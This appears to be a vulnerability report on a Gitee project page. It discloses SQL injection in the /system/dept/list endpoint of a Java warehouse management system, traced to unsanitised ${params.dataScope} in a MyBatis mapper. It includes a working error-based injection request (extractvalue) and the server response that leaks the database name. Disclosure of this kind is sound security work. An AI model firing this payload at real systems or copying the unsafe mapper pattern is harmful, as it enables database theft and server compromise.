SQL injection vulnerability on /system/dept/list

# Summary

In the latest version, a parameter passed to the endpoint `/system/dept/list` are user-controllable and not sanitized, and no prepared statements are used when executing the final SQL query, resulting in a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive data from the database and even gain complete control of the server.

---

# Details

### taint analysis:

- wms-admin/src/main/java/com/deer/wms/admin/controller/system/SysDeptController.java
```
@RequiresPermissions("system:dept:list")
@GetMapping("/list")
@ResponseBody
public List<SysDept> list(SysDept dept)
{
    List<SysDept> deptList = deptService.selectDeptList(dept);
    return deptList;
}

@Override
@DataScope(tableAlias = "d")
public List<SysDept> selectDeptList(SysDept dept)
{
    return deptMapper.selectDeptList(dept);
}
```

- wms-system/src/main/resources/mapper/system/SysDeptMapper.xml
```
<select id="selectDeptList" parameterType="SysDept" resultMap="SysDeptResult">
       <include refid="selectDeptVo"/>
       where d.del_flag = '0'
       <if test="parentId != null and parentId != 0">
       AND parent_id = #{parentId}
    </if>
    <if test="deptName != null and deptName != ''">
       AND dept_name like concat('%', #{deptName}, '%')
    </if>
    <if test="status != null and status != ''">
       AND status = #{status}
    </if>
    
    ${params.dataScope}
    order by d.order_num
   </select>

```

---

# POC
```
GET /system/dept/list?params%5BdataScope%5D=and+extractvalue(1,concat(0x7e,(select+database()),0x7e)) HTTP/1.1
Host: 127.0.0.1:7001
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Cookie: keystonejs-session=Fe26.2**bdb6f01845ba66e58eb697663dcc428023731a2d5a6b437da3c8228ddba9ba45*R5Pr20M5nZLN3r8c7WWIoQ*VKzAkW78Iud8W-YXYPzJhsOW5eSQpWbrAQ4tNlVRT3eKRtJpZIiyfLT6LJHc6iUDW0e98fphwxFTFucUCYEu8g*1754718663869*dc58add3640844745bd9e4d60118aaac256558b5914e50ad1974fdffa4440fbf*r4oat5weoKuOgOEcOnj_RzWMlvSf90KhI2uJDrdIHuo; JSESSIONID=5ffda3ab-8334-4505-8dc6-ed991f34df48
Connection: close
Connection: close

{"msg":"运行时异常:\r\n### Error querying database.  Cause: java.sql.SQLException: XPATH syntax error: '~wuxiwms~'\r\n### The error may exist in file [D:\\test\\deer-wms-2\\wms-system\\target\\classes\\mapper\\system\\SysDeptMapper.xml]\r\n### The error may involve com.deer.wms.system.dao.SysDeptMapper.selectDeptList-Inline\r\n### The error occurred while setting parameters\r\n### SQL: select d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.phone, d.email, d.status, d.del_flag, d.create_by, d.create_time          from sys_dept d               where d.del_flag = '0'                        and extractvalue(1,concat(0x7e,(select database()),0x7e))   order by d.order_num\r\n### Cause: java.sql.SQLException: XPATH syntax error: '~wuxiwms~'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~wuxiwms~'; nested exception is java.sql.SQLException: XPATH syntax error: '~wuxiwms~'","code":500}

```

![输入图片说明](https://foruda.gitee.com/images/1752224972492070568/096723b0_8279293.png "屏幕截图")
---

# Impact
https://portswigger.net/web-security/sql-injection#what-is-the-impact-of-a-successful-sql-injection-attack

---

wms仓库管理系统/立体仓库WMS

内容风险标识

评论 (0)

wms仓库管理系统/立体仓库WMS .gitee-modal { width: 500px !important; }

内容风险标识